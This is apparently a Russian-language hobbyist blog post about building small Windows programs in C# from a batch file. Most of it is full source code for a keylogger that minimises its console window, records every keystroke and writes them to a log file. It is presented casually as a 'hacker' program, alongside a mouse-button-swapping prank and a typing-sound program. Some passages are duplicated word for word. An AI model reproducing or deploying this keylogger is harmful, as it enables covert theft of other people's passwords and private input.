Для меня сама возможность компилировать программу из батника, без установки тяжелой visual studio, это уже сродни хакерству. Поменял исходник, запустил батник и вот уже есть готовая программа. Эта возможность писать проги "на коленке" позволяет создавать много интересных штучек, например можно делать скриншоты, или вот например еще один код для программы кейлоггера:
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace mykeyloggerprog {
class Program {
static string buf;
//импорт библиотеки для считывания кода нажатых клавиш
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
// импорт библиотек, чтобы можно было спрятать окно консоли
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[STAThread]
static void Main(String[] args) {
var handle = GetConsoleWindow(); // возвращает handle текущего консольного окна
ShowWindow(handle, 6); // чтобы спрятать это окно нужно поставить: 0 Hide, 5 Show, 6 свернутое окно
while (true) {
Thread.Sleep(100);
for (int i = 0; i < 255; i++) {
int state = GetAsyncKeyState(i); // метод импортированной ранее библиотеки возвращает код клавиши
// условия для проверки некоторых конкретных кнопок
if (state != 0) {
if (((Keys) i) == Keys.Space) {
buf += " "; // если нажали робел, то в буфер добавляется пустой символ, т.е. пробел
continue;
}
if (((Keys) i) == Keys.Enter) {
buf += "\r\n"; // если нажали Enter, то добавляется перенос каретки
continue;
}
if (((Keys) i) == Keys.LButton || ((Keys) i) == Keys.RButton || ((Keys) i) == Keys.MButton) continue; // кнопки мыши не записываются в лог
if (((Keys) i).ToString().Length == 1) {
buf += ((Keys) i).ToString(); // каждый код добавляется в буфер
} else {
buf += ((Keys) i).ToString();
}
if (buf.Length > 10) {
File.AppendAllText("keylogger.log", buf); // как только символов в буфере становится больше 10, он добавляется в конец файла кейлогера и
buf = ""; // обнуляется. Кстати файл создастся если его не было и допишется если был. Коды клавиш могут занимать не один символ буфера
}
}
}
}
}
}
}
Мне в первую очередь интересен этот код тем что можно скрестить его с тем же скриншотером, который будет висеть в фоне и ждать комбинацию клавиш, чтобы потом тупо сделать скриншот и сохранить его на рабочем столе. Пока я просто оставлю этот код здесь чтобы если что со временем вернуться к такой реализации, ну а пока это тупо кейлоггер, который описывали в журнале хакер.
Ну и коли пост про хакерские программы, должна быть не одна программа, и в качестве дополнения просто будет небольшая функция: старый хакерский прикол поменять местами кнопки мышки. Делаться это может просто через командную строку, но вернуть назад почему-то нельзя.А вот через C# это возможно: просто нужно импортировать библиотеку user32
[DllImport("user32.dll")]
static extern bool SwapMouseButton(bool fSwap);
и в main вызвать метод SwapMouseButton(true); чтобы поменять кнопки. Если поставить false то все вернется назад.
Или можно так при каждом запуске программы каждый раз будут меняться кнопки:
if (SwapMouseButton(true)) SwapMouseButton(false);
else SwapMouseButton(true);
Или можно так при каждом запуске программы каждый раз будут меняться кнопки:
if (SwapMouseButton(true)) SwapMouseButton(false);
else SwapMouseButton(true);
Со временем, возможно, будет еще что-нибудь добавить по теме, но в данном же случае это сохранение примера как можно использовать встроенные библиотеки винды - у них есть куча других функций: берешь функцию, импортируешь аналогично, и юзаешь для личных нужд - звучит вроде не сложно))
ЗЫ вот подоспела идея для обработки ввода с клавиатуры - при печатании проигрывать звук печатной машинки то что добавил проигрывания wav выделил желтым:
class Program {
//импорт библиотеки для считывания кода нажатых клавиш
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[STAThread]
static void Main(String[] args) {
Console.WriteLine("Перенесите в консоль звуковой файл и нажмине ENTER");
string wavfile = Console.ReadLine().Trim('"');// считываем путь до файла
SoundPlayer player = new SoundPlayer();//Создаем плеер для проигрывания звука
player.SoundLocation = wavfile;//указываем плееру путь до файла, который ранее вводили с клавы
player.Load();// подгружаем этот файл
while (true) {
Thread.Sleep(100);
for (int i = 0; i < 255; i++) {
int state = GetAsyncKeyState(i);
if (state != 0) {
// проигрывать звук если длина символа равна 1 (все буквенные клавиши), или ентер, или пробел
if (((Keys) i).ToString().Length == 1 || ((Keys) i) == Keys.Space || ((Keys) i) == Keys.Enter) {
try {
player.Play();//воспроизводим тот файл
} catch {
// если удалить или переименовать файл для проигрывания то консоль будет издавать звук с частотой 1000 гц, а не выдавать ошибку
System.Console.Beep(1000, 50);
}
}
}
}
}
}
}
ЗЫ вот подоспела идея для обработки ввода с клавиатуры - при печатании проигрывать звук печатной машинки то что добавил проигрывания wav выделил желтым:
class Program {
//импорт библиотеки для считывания кода нажатых клавиш
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[STAThread]
static void Main(String[] args) {
Console.WriteLine("Перенесите в консоль звуковой файл и нажмине ENTER");
string wavfile = Console.ReadLine().Trim('"');// считываем путь до файла
SoundPlayer player = new SoundPlayer();//Создаем плеер для проигрывания звука
player.SoundLocation = wavfile;//указываем плееру путь до файла, который ранее вводили с клавы
player.Load();// подгружаем этот файл
while (true) {
Thread.Sleep(100);
for (int i = 0; i < 255; i++) {
int state = GetAsyncKeyState(i);
if (state != 0) {
// проигрывать звук если длина символа равна 1 (все буквенные клавиши), или ентер, или пробел
if (((Keys) i).ToString().Length == 1 || ((Keys) i) == Keys.Space || ((Keys) i) == Keys.Enter) {
try {
player.Play();//воспроизводим тот файл
} catch {
// если удалить или переименовать файл для проигрывания то консоль будет издавать звук с частотой 1000 гц, а не выдавать ошибку
System.Console.Beep(1000, 50);
}
}
}
}
}
}
}
Логгер как выяснилось хорошо работает в 32 битной винде, в 64 битной выдает набор разного текста непонятного. И кроме того для использования озвучивания кнопок нужно добавить в пространство имен
ОтветитьУдалитьusing System.Media